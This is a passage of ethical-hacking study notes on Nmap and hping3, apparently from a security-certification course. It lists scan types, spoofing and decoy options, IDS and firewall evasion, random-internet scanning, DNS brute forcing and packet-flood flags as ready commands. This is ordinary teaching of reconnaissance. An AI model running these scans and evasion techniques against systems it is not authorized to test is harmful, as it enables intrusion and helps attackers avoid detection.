    <li>Window version - if the Window on the RST packet is anything other than 0, port open</li>
    <li><strong>Can be used to check filtering. If ACK is sent and no response, stateful firewall present.</strong></li>
    <li><strong><code>nmap -sA &lt;target IP&gt;</code></strong> <em>(ACK scan)</em></li>
    <li><strong><code>nmap -sW &lt;target IP&gt;</code></strong> <em>(Window scan)</em></li>
  </ul>
  <hr>
  <h3><strong>NULL, FIN and Xmas Scan</strong></h3>
  <blockquote>
    <p>⚠️ <strong>Uses FIN, URG or PSH flag.</strong></p>
  </blockquote>
  <ul>
    <li>
      <p><strong>Open gives no response. Closed gives RST/ACK</strong></p>
    </li>
    <li>
      <p><strong><code>nmap -sN &lt;target IP&gt;</code></strong> <em>(Null scan)</em></p>
    </li>
    <li>
      <p><strong><code>nmap -sF &lt;target IP&gt;</code></strong> <em>(FIN scan)</em></p>
    </li>
    <li>
      <p><strong>Xmas Scan</strong> - Sets the FIN, PSH, and URG flags, lighting the packet up like a Christmas tree.
      </p>
      <ul>
        <li>Responses are same as Inverse TCP scan</li>
        <li>Do not work against Windows machines</li>
        <li><strong><code>nmap -sX &lt;target IP&gt;</code></strong></li>
      </ul>
    </li>
  </ul>
  <blockquote>
    <p>⚠️ <strong>The key advantage to these scan types (NULL, FIN or Xmas scan) is that they can sneak through certain
        non-stateful firewalls and packet filtering routers.</strong></p>
  </blockquote>
  <hr>
  <h3><strong>IDLE Scan</strong></h3>
  <p>uses a third party to check if a port is open</p>
  <ul>
    <li>Looks at the IPID to see if there is a response</li>
    <li>Only works if third party isn't transmitting data</li>
    <li>Sends a request to the third party to check IPID id; then sends a spoofed packet to the target with a return of
      the third party; sends a request to the third party again to check if IPID increased.
      <ul>
        <li>IPID increase of 1 indicates port closed</li>
        <li>IPID increase of 2 indicates port open</li>
        <li>IPID increase of anything greater indicates the third party was not idle</li>
      </ul>
    </li>
    <li><strong><code>nmap -sI &lt;zombie host&gt; &lt;target IP&gt;</code></strong></li>
  </ul>
  <hr>
  <h3><strong>Spoofing</strong></h3>
  <ul>
    <li><strong>Decoy:</strong>
      <ul>
        <li><strong><code>nmap -Pn -D &lt;spoofed IP&gt; &lt;target&gt;</code></strong>
          <ul>
            <li>This will perform a spoofed ping scan.</li>
          </ul>
        </li>
      </ul>
    </li>
    <li><strong>Source Address Spoofing:</strong>
      <ul>
        <li><strong><code>nmap -e &lt;network interface&gt; -S &lt;IP source&gt; &lt;target&gt;</code></strong>
          <ul>
            <li>Example --&gt; <strong><code>nmap -e eth0 -S 10.0.0.140 10.0.0.165</code></strong></li>
          </ul>
        </li>
      </ul>
    </li>
    <li><strong>MAC Address Spoofing:</strong>
      <ul>
        <li><strong><code>nmap --spoof-mac &lt;MAC|Vendor&gt; &lt;target&gt;</code></strong>
          <ul>
            <li>Example --&gt; <strong><code>nmap --spoof-mac Cis 10.0.0.140</code></strong></li>
          </ul>
        </li>
      </ul>
    </li>
  </ul>
  <blockquote>
    <p>⚠️ <strong>Decoys will send spoofed IP address along with your IP address.</strong></p>
  </blockquote>
  <hr>
  <h3><strong>Firewall Evasion</strong></h3>
  <ul>
    <li><strong>Multiple Decoy IP addresses:</strong>
      <ul>
        <li>This command is used to scan multiple decoy IP addresses. <strong>Nmap will send multiple packets with
            different IP addresses, along with your attacker's IP address.</strong></li>
        <li><strong><code>nmap -D RND:&lt;number&gt; &lt;target&gt;</code></strong>
          <ul>
            <li>Example --&gt; <code>nmap -D RND:10 192.168.62.4</code></li>
          </ul>
        </li>
      </ul>
    </li>
    <li><strong>IP Fragmentation:</strong>
      <ul>
        <li>Used to scan tiny fragment packets</li>
        <li><strong><code>nmap -f &lt;target&gt;</code></strong></li>
      </ul>
    </li>
    <li><strong>Maximum Transmission Unit:</strong>
      <ul>
        <li>This command is used to transmit smaller packets instead of sending one complete packet at a time.</li>
        <li><strong><code>nmap -mtu 8 &lt;target&gt;</code></strong>
          <ul>
            <li>Maximum Transmission Unit (-mtu) and 8 bytes of packets.</li>
          </ul>
        </li>
      </ul>
    </li>
  </ul>
  <hr>
  <h3>Timing &amp; Performance</h3>
  <ul>
    <li><strong>Paranoid</strong>
      <ul>
        <li>Paranoid (0) Intrusion Detection System evasion</li>
        <li><strong><code>nmap &lt;target&gt; -T0</code></strong></li>
      </ul>
    </li>
    <li><strong>Sneaky</strong>
      <ul>
        <li>Sneaky (1) Intrusion Detection System evasion</li>
        <li><strong><code>nmap &lt;target&gt; -T1</code></strong></li>
      </ul>
    </li>
    <li><strong>Polite</strong>
      <ul>
        <li>Polite (2) slows down the scan to use less bandwidth and use less target machine resources</li>
        <li><strong><code>nmap &lt;target&gt; -T2</code></strong></li>
      </ul>
    </li>
    <li><strong>Normal</strong>
      <ul>
        <li>Normal (3) which is default speed</li>
        <li><strong><code>nmap &lt;target&gt; -T3</code></strong></li>
      </ul>
    </li>
    <li><strong>Agressive</strong>
      <ul>
        <li>Aggressive (4) speeds scans; assumes you are on a reasonably fast and reliable network</li>
        <li><strong><code>nmap &lt;target&gt; -T4</code></strong></li>
      </ul>
    </li>
    <li><strong>Insane</strong>
      <ul>
        <li>Insane (5) speeds scan; assumes you are on an extraordinarily fast network</li>
        <li><strong><code>nmap &lt;target&gt; -T5</code></strong></li>
      </ul>
    </li>
  </ul>
  <hr>
  <h3>UDP Scan</h3>
  <p>Most popular services runs over the TCP, but there are many common services that also uses UDP: <strong>DNS (53),
      SMTP (25), DHCP (67), NTP (123), NetBIOS-ssn (137), etc.</strong></p>
  <ul>
    <li><strong><code>nmap -sU &lt;target&gt;</code></strong></li>
  </ul>
  <p>You also can specify which UDP port:</p>
  <ul>
    <li><strong><code>nmap -sU -p U:53, 123 &lt;target&gt;</code></strong></li>
  </ul>
  <p>Also you can fire up both TCP and UDP scan with port specification:</p>
  <ul>
    <li><strong><code>nmap -sU -sS -p U:53,123 T:80,443 &lt;target&gt;</code></strong></li>
  </ul>
  <hr>
  <h2><u>List of Switches</u></h2>
  <table>
    <thead>
      <tr>
        <th align="center">Switch</th>
        <th align="left">Description</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td align="center"><code>-sA</code></td>
        <td align="left">ACK scan</td>
      </tr>
      <tr>
        <td align="center"><code>-sF</code></td>
        <td align="left">FIN scan</td>
      </tr>
      <tr>
        <td align="center"><code>-sI</code></td>
        <td align="left">IDLE scan</td>
      </tr>
      <tr>
        <td align="center"><code>-sL</code></td>
        <td align="left">DNS scan (list scan)</td>
      </tr>
      <tr>
        <td align="center"><code>-sN</code></td>
        <td align="left">NULL scan</td>
      </tr>
      <tr>
        <td align="center"><code>-sO</code></td>
        <td align="left">Protocol scan (tests which IP protocols respond)</td>
      </tr>
      <tr>
        <td align="center"><code>-sP</code> or <code>-sn</code></td>
        <td align="left">Ping scan</td>
      </tr>
      <tr>
        <td align="center"><code>-sR</code></td>
        <td align="left">RPC scan</td>
      </tr>
      <tr>
        <td align="center"><code>-sS</code></td>
        <td align="left">SYN scan</td>
      </tr>
      <tr>
        <td align="center"><code>-sT</code></td>
        <td align="left">TCP connect scan</td>
      </tr>
      <tr>
        <td align="center"><code>-sW</code></td>
        <td align="left">Window scan</td>
      </tr>
      <tr>
        <td align="center"><code>-sX</code></td>
        <td align="left">XMAS scan</td>
      </tr>
      <tr>
        <td align="center"><code>-A</code></td>
        <td align="left">OS detection, version detection, script scanning and traceroute</td>
      </tr>
      <tr>
        <td align="center"><code>-sV</code></td>
        <td align="left">Determine only service/version info</td>
      </tr>
      <tr>
        <td align="center"><code>-PI</code></td>
        <td align="left">ICMP ping</td>
      </tr>
      <tr>
        <td align="center"><code>-Pn</code></td>
        <td align="left">No ping</td>
      </tr>
      <tr>
        <td align="center"><code>-Po</code></td>
        <td align="left">No ping</td>
      </tr>
      <tr>
        <td align="center"><code>-PS</code></td>
        <td align="left">SYN ping</td>
      </tr>
      <tr>
        <td align="center"><code>-PT</code></td>
        <td align="left">TCP ping</td>
      </tr>
      <tr>
        <td align="center"><code>-oN</code></td>
        <td align="left">Normal output</td>
      </tr>
      <tr>
        <td align="center"><code>-oX</code></td>
        <td align="left">XML output</td>
      </tr>
      <tr>
        <td align="center"><code>-n</code></td>
        <td align="left">Never do DNS resolution/Always resolve</td>
      </tr>
      <tr>
        <td align="center"><code>-f</code></td>
        <td align="left">--mtu <val>: fragment packets (optionally w/given MTU)</val>
        </td>
      </tr>
      <tr>
        <td align="center"><code>-D</code></td>
        <td align="left">IP address Decoy: &lt;decoy1,decoy2[,ME],...&gt;: Cloak a scan with decoys</td>
      </tr>
      <tr>
        <td align="center"><code>-T0</code> through <code>-T2</code></td>
        <td align="left">Serial scans. T0 is slowest</td>
      </tr>
      <tr>
        <td align="center"><code>-T3</code> through <code>-T5</code></td>
        <td align="left">Parallel scans. T3 is slowest</td>
      </tr>
      <tr>
        <td align="center"><code>-F</code></td>
        <td align="left">Fast mode - Scan fewer ports than the default scan</td>
      </tr>
    </tbody>
  </table>
  <p><strong>Notes:</strong></p>
  <ul>
    <li><strong>Nmap runs by default at a T3 level (3 - Normal).</strong></li>
    <li><strong>Nmap runs by default TCP scans.</strong></li>
    <li>Nmap ping the target first before the port scan by default, but if the target have a firewall, maybe the scan
      will be blocked. <strong>To avoid this, you can use <code>-Pn</code> to disable ping.</strong></li>
    <li>If you're in LAN and you need to disable ARP ping, use:
      <ul>
        <li><code>--disable-arp-ping</code></li>
      </ul>
    </li>
    <li>You can add a input from external lists of hosts/networks:
      <ul>
        <li><code>-iL hosts-example.txt</code></li>
      </ul>
    </li>
    <li><strong>Fingerprinting</strong> - another word for port sweeping and enumeration</li>
  </ul>
  <h2>➕ More Useful Information about Nmap: ➕</h2>
  <table data-rows="10" data-cols="3" data-tve-custom-colour="87922012">
    <thead>
      <tr>
        <th data-tve-custom-colour="11099273">
          <div>
            <p>Switch</p>
          </div>
        </th>
        <th data-tve-custom-colour="5315753">
          <div>
            <p data-unit="px">Example</p>
          </div>
        </th>
        <th data-tve-custom-colour="723491">
          <div>
            <p>Description</p>
          </div>
        </th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td data-tve-custom-colour="69668880">
          <div>
            <p>-p</p>
          </div>
        </td>
        <td data-tve-custom-colour="35630518">
          <div>
            <p>nmap 192.168.1.1 -p 21</p>
          </div>
        </td>
        <td data-tve-custom-colour="42544505">
          <div>
            <p>Port scan for port x</p>
          </div>
        </td>
      </tr>
      <tr>
        <td data-tve-custom-colour="23760083">
          <div>
            <p>-p</p>
          </div>
        </td>
        <td data-tve-custom-colour="91525947">
          <div>
            <p>nmap 192.168.1.1 -p 21-100</p>
          </div>
        </td>
        <td data-tve-custom-colour="85478031">
          <div>
            <p>Port range</p>
          </div>
        </td>
      </tr>
      <tr>
        <td data-tve-custom-colour="60930584">
          <div>
            <p>-p</p>
          </div>
        </td>
        <td data-tve-custom-colour="95405266">
          <div>
            <p>nmap 192.168.1.1 -p U:53,T:21-25,80</p>
          </div>
        </td>
        <td data-tve-custom-colour="16642894">
          <div>
            <p>Port scan multiple TCP and UDP ports</p>
          </div>
        </td>
      </tr>
      <tr>
        <td data-tve-custom-colour="56382335">
          <div>
            <p>-p-</p>
          </div>
        </td>
        <td data-tve-custom-colour="1929917">
          <div>
            <p>nmap 192.168.1.1 -p-</p>
          </div>
        </td>
        <td data-tve-custom-colour="68238518">
          <div>
            <p>Port scan all ports</p>
          </div>
        </td>
      </tr>
      <tr>
        <td data-tve-custom-colour="2630941">
          <div>
            <p>-p</p>
          </div>
        </td>
        <td data-tve-custom-colour="59723601">
          <div>
            <p>nmap 192.168.1.1 -p http,https</p>
          </div>
        </td>
        <td data-tve-custom-colour="38965266">
          <div>
            <p>Port scan from service name</p>
          </div>
        </td>
      </tr>
      <tr>
        <td data-tve-custom-colour="86193851">
          <div>
            <p>-F</p>
          </div>
        </td>
        <td data-tve-custom-colour="83865922">
          <div>
            <p>nmap 192.168.1.1 -F</p>
          </div>
        </td>
        <td data-tve-custom-colour="52914446">
          <div>
            <p>Fast port scan (100 ports)</p>
          </div>
        </td>
      </tr>
      <tr>
        <td data-tve-custom-colour="9925025">
          <div>
            <p>--top-ports</p>
          </div>
        </td>
        <td data-tve-custom-colour="5767817">
          <div>
            <p>nmap 192.168.1.1 --top-ports 2000</p>
          </div>
        </td>
        <td data-tve-custom-colour="97877956">
          <div>
            <p>Port scan the top x ports</p>
          </div>
        </td>
      </tr>
      <tr>
        <td data-tve-custom-colour="77359869">
          <div>
            <p>-p-65535</p>
          </div>
        </td>
        <td data-tve-custom-colour="97638659">
          <div>
            <p>nmap 192.168.1.1 -p-65535</p>
          </div>
        </td>
        <td data-tve-custom-colour="80200270">
          <div>
            <p>Leaving off initial port in range <br>makes the scan start at port 1</p>
          </div>
        </td>
      </tr>
      <tr>
        <td colspan="1" rowspan="1" data-tve-custom-colour="77359869">
          <div>
            <p>-p0-</p>
          </div>
        </td>
        <td colspan="1" rowspan="1" data-tve-custom-colour="97638659">
          <div>
            <p>nmap 192.168.1.1 -p0-</p>
          </div>
        </td>
        <td colspan="1" rowspan="1" data-tve-custom-colour="80200270">
          <div>
            <p>Leaving off end port in range</p>
            <p>makes the scan go through to port 65535</p>
          </div>
        </td>
      </tr>
    </tbody>
  </table>
  <p>&nbsp;</p>
  <h2>2. Service and Version Detection</h2>
  <table data-rows="10" data-cols="3" data-tve-custom-colour="20630216">
    <thead>
      <tr>
        <th data-tve-custom-colour="32713170">
          <div>
            <p>Switch</p>
          </div>
        </th>
        <th data-tve-custom-colour="9791280">
          <div>
            <p data-unit="px">Example</p>
          </div>
        </th>
        <th data-tve-custom-colour="50448944">
          <div>
            <p>Description</p>
          </div>
        </th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td data-tve-custom-colour="52718078">
          <div>
            <p>-sV</p>
          </div>
        </td>
        <td data-tve-custom-colour="65314143">
          <div>
            <p>nmap 192.168.1.1 -sV</p>
          </div>
        </td>
        <td data-tve-custom-colour="15678704">
          <div>
            <p>Attempts to determine the version of the service running on port</p>
          </div>
        </td>
      </tr>
      <tr>
        <td data-tve-custom-colour="17175428">
          <div>
            <p>-sV --version-intensity</p>
          </div>
        </td>
        <td data-tve-custom-colour="33430509">
          <div>
            <p>nmap 192.168.1.1 -sV --version-intensity 8</p>
          </div>
        </td>
        <td data-tve-custom-colour="61291488">
          <div>
            <p>Intensity level 0 to 9. Higher number increases possibility of correctness</p>
          </div>
        </td>
      </tr>
      <tr>
        <td data-tve-custom-colour="41449000">
          <div>
            <p>-sV --version-light</p>
          </div>
        </td>
        <td data-tve-custom-colour="64128505">
          <div>
            <p>nmap 192.168.1.1 -sV --version-light</p>
          </div>
        </td>
        <td data-tve-custom-colour="16090168">
          <div>
            <p>Enable light mode. Lower possibility of correctness. Faster</p>
          </div>
        </td>
      </tr>
      <tr>
        <td data-tve-custom-colour="72668320">
          <div>
            <p>-sV --version-all</p>
          </div>
        </td>
        <td data-tve-custom-colour="99337597">
          <div>
            <p>nmap 192.168.1.1 -sV --version-all</p>
          </div>
        </td>
        <td data-tve-custom-colour="38992774">
          <div>
            <p>Enable intensity level 9. Higher possibility of correctness. Slower</p>
          </div>
        </td>
      </tr>
      <tr>
        <td data-tve-custom-colour="78539889">
          <div>
            <p>-A</p>
          </div>
        </td>
        <td data-tve-custom-colour="54257225">
          <div>
            <p>nmap 192.168.1.1 -A</p>
          </div>
        </td>
        <td data-tve-custom-colour="33531863">
          <div>
            <p>Enables OS detection, version detection, script scanning, and traceroute</p>
          </div>
        </td>
      </tr>
    </tbody>
  </table>
  <p>&nbsp;</p>
  <h2>3. OS Detection</h2>
  <table data-rows="10" data-cols="3" data-tve-custom-colour="40603157">
    <thead>
      <tr>
        <th data-tve-custom-colour="40504158">
          <div>
            <p>Switch</p>
          </div>
        </th>
        <th data-tve-custom-colour="39303821">
          <div>
            <p data-unit="px">Example</p>
          </div>
        </th>
        <th data-tve-custom-colour="21543609">
          <div>
            <p>Description</p>
          </div>
        </th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td data-tve-custom-colour="81681967">
          <div>
            <p>-O</p>
          </div>
        </td>
        <td data-tve-custom-colour="53779077">
          <div>
            <p>nmap 192.168.1.1 -O</p>
          </div>
        </td>
        <td data-tve-custom-colour="7125853">
          <div>
            <p>Remote OS detection using TCP/IP <br>stack fingerprinting</p>
          </div>
        </td>
      </tr>
      <tr>
        <td data-tve-custom-colour="39319104">
          <div>
            <p>-O --osscan-limit</p>
          </div>
        </td>
        <td data-tve-custom-colour="41858044">
          <div>
            <p>nmap 192.168.1.1 -O --osscan-limit</p>
          </div>
        </td>
        <td data-tve-custom-colour="47630793">
          <div>
            <p>If at least one open and one closed <br>TCP port are not found it will not try <br>OS detection against
              host</p>
          </div>
        </td>
      </tr>
      <tr>
        <td data-tve-custom-colour="43782516">
          <div>
            <p>-O --osscan-guess</p>
          </div>
        </td>
        <td data-tve-custom-colour="61671299">
          <div>
            <p>nmap 192.168.1.1 -O --osscan-guess</p>
          </div>
        </td>
        <td data-tve-custom-colour="46353883">
          <div>
            <p>Makes Nmap guess more aggressively</p>
          </div>
        </td>
      </tr>
      <tr>
        <td data-tve-custom-colour="38710923">
          <div>
            <p>-O --max-os-tries</p>
          </div>
        </td>
        <td data-tve-custom-colour="50876041">
          <div>
            <p>nmap 192.168.1.1 -O --max-os-tries 1</p>
          </div>
        </td>
        <td data-tve-custom-colour="92071500">
          <div>
            <p>Set the maximum number x of OS <br>detection tries against a target</p>
          </div>
        </td>
      </tr>
      <tr>
        <td data-tve-custom-colour="36246445">
          <div>
            <p>-A</p>
          </div>
        </td>
        <td data-tve-custom-colour="49088290">
          <div>
            <p>nmap 192.168.1.1 -A</p>
          </div>
        </td>
        <td data-tve-custom-colour="81951753">
          <div>
            <p>Enables OS detection, version detection, script scanning, and traceroute</p>
          </div>
        </td>
      </tr>
    </tbody>
  </table>
  <p>&nbsp;</p>
  <h2>4. Timing and Performance</h2>
  <table data-rows="9" data-cols="3" data-tve-custom-colour="75605587">
    <thead>
      <tr>
        <th data-tve-custom-colour="13586691">
          <div>
            <p>Switch</p>
          </div>
        </th>
        <th data-tve-custom-colour="67670104">
          <div>
            <p data-unit="px">Example input</p>
          </div>
        </th>
        <th data-tve-custom-colour="22001055">
          <div>
            <p>Description</p>
          </div>
        </th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td data-tve-custom-colour="36797711">
          <div>
            <p>--host-timeout&nbsp;<time></time></p>
          </div>
        </td>
        <td data-tve-custom-colour="40415439">
          <div>
            <p>1s; 4m; 2h</p>
          </div>
        </td>
        <td data-tve-custom-colour="65853516">
          <div>
            <p>Give up on target after this long</p>
          </div>
        </td>
      </tr>
      <tr>
        <td data-tve-custom-colour="45657658">
          <div>
            <p>--min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout&nbsp;<time></time></p>
          </div>
        </td>
        <td data-tve-custom-colour="82394169">
          <div>
            <p>1s; 4m; 2h</p>
          </div>
        </td>
        <td data-tve-custom-colour="39146150">
          <div>
            <p>Specifies probe round trip time</p>
          </div>
        </td>
      </tr>
      <tr>
        <td data-tve-custom-colour="3070409">
          <div>
            <p>--min-hostgroup/max-hostgroup&nbsp;<size<size></size<size>
            </p>
          </div>
        </td>
        <td data-tve-custom-colour="71004712">
          <div>
            <p>50; 1024</p>
          </div>
        </td>
        <td data-tve-custom-colour="22579534">
          <div>
            <p>Parallel host scan group <br>sizes</p>
          </div>
        </td>
      </tr>
      <tr>
        <td data-tve-custom-colour="13777720">
          <div>
            <p>--min-parallelism/max-parallelism&nbsp;<numprobes></numprobes>
            </p>
          </div>
        </td>
        <td data-tve-custom-colour="6830765">
          <div>
            <p>10; 1</p>
          </div>
        </td>
        <td data-tve-custom-colour="68135110">
          <div>
            <p>Probe parallelization</p>
          </div>
        </td>
      </tr>
      <tr>
        <td data-tve-custom-colour="15515435">
          <div>
            <p>--scan-delay/--max-scan-delay&nbsp;<time></time></p>
          </div>
        </td>
        <td data-tve-custom-colour="36552978">
          <div>
            <p>20ms; 2s; 4m; 5h</p>
          </div>
        </td>
        <td data-tve-custom-colour="54476562">
          <div>
            <p>Adjust delay between probes</p>
          </div>
        </td>
      </tr>
      <tr>
        <td colspan="1" rowspan="1" data-tve-custom-colour="15515435">
          <div>
            <p>--max-retries <tries></tries>
            </p>
          </div>
        </td>
        <td colspan="1" rowspan="1" data-tve-custom-colour="36552978">
          <div>
            <p>3</p>
          </div>
        </td>
        <td colspan="1" rowspan="1" data-tve-custom-colour="54476562">
          <div>
            <p>Specify the maximum number <br>of port scan probe retransmissions</p>
          </div>
        </td>
      </tr>
      <tr>
        <td colspan="1" rowspan="1" data-tve-custom-colour="15515435">
          <div>
            <p>--min-rate&nbsp;<number></number>
            </p>
          </div>
        </td>
        <td colspan="1" rowspan="1" data-tve-custom-colour="36552978">
          <div>
            <p>100</p>
          </div>
        </td>
        <td colspan="1" rowspan="1" data-tve-custom-colour="54476562">
          <div>
            <p>Send packets no slower than&nbsp;<numberr> per second</numberr>
            </p>
          </div>
        </td>
      </tr>
      <tr>
        <td colspan="1" rowspan="1" data-tve-custom-colour="15515435">
          <div>
            <p>--max-rate <number></number>
            </p>
          </div>
        </td>
        <td colspan="1" rowspan="1" data-tve-custom-colour="36552978">
          <div>
            <p>100</p>
          </div>
        </td>
        <td colspan="1" rowspan="1" data-tve-custom-colour="54476562">
          <div>
            <p>Send packets no faster than&nbsp;<number> per second</number>
            </p>
          </div>
        </td>
      </tr>
    </tbody>
  </table>
  <p>&nbsp;</p>
  <h2>5. NSE Scripts</h2>
  <p>NSE stands for Nmap Scripting Engine, and it’s basically a digital library of Nmap scripts that helps to enhance
    the default Nmap features and report the results in a traditional Nmap output.</p>
  <p>One of the best things about NSE is its ability to let users write and share their own scripts, so you’re not
    limited to relying on the Nmap default NSE scripts. <a href="https://nmap.org/nsedoc/">[+]</a></p>
  <table data-rows="8" data-cols="3" data-tve-custom-colour="84942293">
    <thead>
      <tr>
        <th data-tve-custom-colour="54206681">
          <div>
            <p>Switch</p>
          </div>
        </th>
        <th data-tve-custom-colour="94833622">
          <div>
            <p data-unit="px">Example</p>
          </div>
        </th>
        <th data-tve-custom-colour="44020045">
          <div>
            <p>Description</p>
          </div>
        </th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td data-tve-custom-colour="28223530">
          <div>
            <p>-sC</p>
          </div>
        </td>
        <td data-tve-custom-colour="1861219">
          <div>
            <p>nmap 192.168.1.1 -sC</p>
          </div>
        </td>
        <td data-tve-custom-colour="37113719">
          <div>
            <p>Scan with default NSE scripts. Considered useful for discovery and safe</p>
          </div>
        </td>
      </tr>
      <tr>
        <td data-tve-custom-colour="4025240">
          <div>
            <p>--script default</p>
          </div>
        </td>
        <td data-tve-custom-colour="13420588">
          <div>
            <p>nmap 192.168.1.1 --script default</p>
          </div>
        </td>
        <td data-tve-custom-colour="41758">
          <div>
            <p>Scan with default NSE scripts. Considered useful for discovery and safe</p>
          </div>
        </td>
      </tr>
      <tr>
        <td data-tve-custom-colour="49874311">
          <div>
            <p>--script</p>
          </div>
        </td>
        <td data-tve-custom-colour="54335880">
          <div>
            <p>nmap 192.168.1.1 --script=banner</p>
          </div>
        </td>
        <td data-tve-custom-colour="63692658">
          <div>
            <p>Scan with a single script. Example banner</p>
          </div>
        </td>
      </tr>
      <tr>
        <td data-tve-custom-colour="29010211">
          <div>
            <p>--script</p>
          </div>
        </td>
        <td data-tve-custom-colour="38815019">
          <div>
            <p>nmap 192.168.1.1 --script=http*</p>
          </div>
        </td>
        <td data-tve-custom-colour="38719696">
          <div>
            <p>Scan with a wildcard. Example http</p>
          </div>
        </td>
      </tr>
      <tr>
        <td data-tve-custom-colour="50309291">
          <div>
            <p>--script</p>
          </div>
        </td>
        <td data-tve-custom-colour="27379683">
          <div>
            <p>nmap 192.168.1.1 --script=http,banner</p>
          </div>
        </td>
        <td data-tve-custom-colour="67727190">
          <div>
            <p>Scan with two scripts. Example http and banner</p>
          </div>
        </td>
      </tr>
      <tr>
        <td colspan="1" rowspan="1" data-tve-custom-colour="50309291">
          <div>
            <p>--script</p>
          </div>
        </td>
        <td colspan="1" rowspan="1" data-tve-custom-colour="27379683">
          <div>
            <p>nmap 192.168.1.1 --script "not intrusive"</p>
          </div>
        </td>
        <td colspan="1" rowspan="1" data-tve-custom-colour="67727190">
          <div>
            <p>Scan default, but remove intrusive scripts</p>
          </div>
        </td>
      </tr>
      <tr>
        <td colspan="1" rowspan="1" data-tve-custom-colour="50309291">
          <div>
            <p>--script-args</p>
          </div>
        </td>
        <td colspan="1" rowspan="1" data-tve-custom-colour="27379683">
          <div>
            <p>nmap --script snmp-sysdescr --script-args snmpcommunity=admin 192.168.1.1</p>
          </div>
        </td>
        <td colspan="1" rowspan="1" data-tve-custom-colour="67727190">
          <div>
            <p>NSE script with arguments</p>
          </div>
        </td>
      </tr>
    </tbody>
  </table>
  <p>&nbsp;</p>
  <h2>Useful NSE Script Examples</h2>
  <table data-rows="8" data-cols="2" data-tve-custom-colour="81834986">
    <thead>
      <tr>
        <th data-tve-custom-colour="46164884">
          <div>
            <p>Command</p>
          </div>
        </th>
        <th data-tve-custom-colour="84676748">
          <div>
            <p>Description</p>
          </div>
        </th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td data-tve-custom-colour="24377933">
          <div>
            <p>nmap -Pn --script=http-sitemap-generator scanme.nmap.org</p>
          </div>
        </td>
        <td data-tve-custom-colour="22583833">
          <div>
            <p>http site map generator</p>
          </div>
        </td>
      </tr>
      <tr>
        <td data-tve-custom-colour="28668006">
          <div>
            <p>nmap -n -Pn -p 80 --open -sV -vvv --script banner,http-title -iR 1000</p>
          </div>
        </td>
        <td data-tve-custom-colour="71143089">
          <div>
            <p>Fast search for random web servers</p>
          </div>
        </td>
      </tr>
      <tr>
        <td data-tve-custom-colour="24049541">
          <div>
            <p>nmap -Pn --script=dns-brute domain.com</p>
          </div>
        </td>
        <td data-tve-custom-colour="51645097">
          <div>
            <p>Brute forces DNS hostnames guessing subdomains</p>
          </div>
        </td>
      </tr>
      <tr>
        <td data-tve-custom-colour="7314780">
          <div>
            <p>nmap -n -Pn -vv -O -sV --script smb-enum*,smb-ls,smb-mbenum,smb-os-discovery,smb-s*,smb-vuln*,smbv2* -vv
              192.168.1.1</p>
          </div>
        </td>
        <td data-tve-custom-colour="80246068">
          <div>
            <p>Safe SMB scripts to run</p>
          </div>
        </td>
      </tr>
      <tr>
        <td data-tve-custom-colour="17385457">
          <div>
            <p>nmap --script whois* domain.com</p>
          </div>
        </td>
        <td data-tve-custom-colour="52762961">
          <div>
            <p>Whois query</p>
          </div>
        </td>
      </tr>
      <tr>
        <td colspan="1" rowspan="1" data-tve-custom-colour="17385457">
          <div>
            <p>nmap -p80 --script http-unsafe-output-escaping scanme.nmap.org</p>
          </div>
        </td>
        <td colspan="1" rowspan="1" data-tve-custom-colour="52762961">
          <div>
            <p>Detect cross site scripting vulnerabilities</p>
          </div>
        </td>
      </tr>
      <tr>
        <td colspan="1" rowspan="1" data-tve-custom-colour="17385457">
          <div>
            <p>nmap -p80 --script http-sql-injection scanme.nmap.org</p>
          </div>
        </td>
        <td colspan="1" rowspan="1" data-tve-custom-colour="52762961">
          <div>
            <p>Check for SQL injections</p>
          </div>
        </td>
      </tr>
    </tbody>
  </table>
  <p>&nbsp;</p>
  <ul>
    <li><small>Source: <a
          href="https://www.stationx.net/nmap-cheat-sheet/">https://www.stationx.net/nmap-cheat-sheet/</a></small></li>
  </ul>
  <h2><u>hping</u></h2>
  <blockquote>
    <p>⚡︎ <strong>Check the hping3 <a
          href="https://github.com/Samsar4/Ethical-Hacking-Labs/blob/master/2-Scanning-Networks/1-hping3.md">practical
          lab</a></strong></p>
  </blockquote>
  <p>Hping3 is a scriptable program that uses the Tcl language, whereby packets can be received and sent via a binary or
    string representation describing the packets.</p>
  <ul>
    <li>Another powerful ping sweep and port scanning tool</li>
    <li>Also can craft UDP/TCP packets</li>
    <li>You can make a TCP flood</li>
    <li>hping3 -1 IP address</li>
  </ul>
  <table>
    <thead>
      <tr>
        <th>Switch</th>
        <th>Description</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>-1</td>
        <td>Sets ICMP mode</td>
      </tr>
      <tr>
        <td>-2</td>
        <td>Sets UDP mode</td>
      </tr>
      <tr>
        <td>-8</td>
        <td>Sets scan mode. Expects port range without -p flag</td>
      </tr>
      <tr>
        <td>-9</td>
        <td>Listen mode. Expects signature (e.g. HTTP) and interface (-I eth0)</td>
      </tr>
      <tr>
        <td>--flood</td>
        <td>Sends packets as fast as possible without showing incoming replies</td>
      </tr>
      <tr>
        <td>-Q</td>
        <td>Collects sequence numbers generated by the host</td>
      </tr>
      <tr>
        <td>-p</td>
        <td>Sets port number</td>
      </tr>
      <tr>
        <td>-F</td>
        <td>Sets the FIN flag</td>
      </tr>
      <tr>
        <td>-S</td>
        <td>Sets the SYN flag</td>
      </tr>
      <tr>
        <td>-R</td>
        <td>Sets the RST flag</td>
      </tr>
      <tr>
        <td>-P</td>
        <td>Sets the PSH flag</td>
      </tr>
      <tr>
        <td>-A</td>
        <td>Sets the ACK flag</td>
      </tr>
      <tr>
        <td>-U</td>
        <td>Sets the URG flag</td>
      </tr>
      <tr>
        <td>-X</td>
        <td>Sets the XMAS scan flags</td>
      </tr>
    </tbody>
  </table>
  <h2><u>Evasion Concepts</u></h2>
  <ul>
    <li>To evade IDS, sometimes you need to change the way you scan</li>
    <li>One method is to fragment packets (nmap -f switch)</li>
    <li><strong>OS Fingerprinting</strong>
      <ul>
        <li><strong>Active</strong> - sending crafted packets to the target</li>
        <li><strong>Passive</strong> - sniffing network traffic for things such as TTL windows, DF flags and ToS fields
        </li>
      </ul>
    </li>
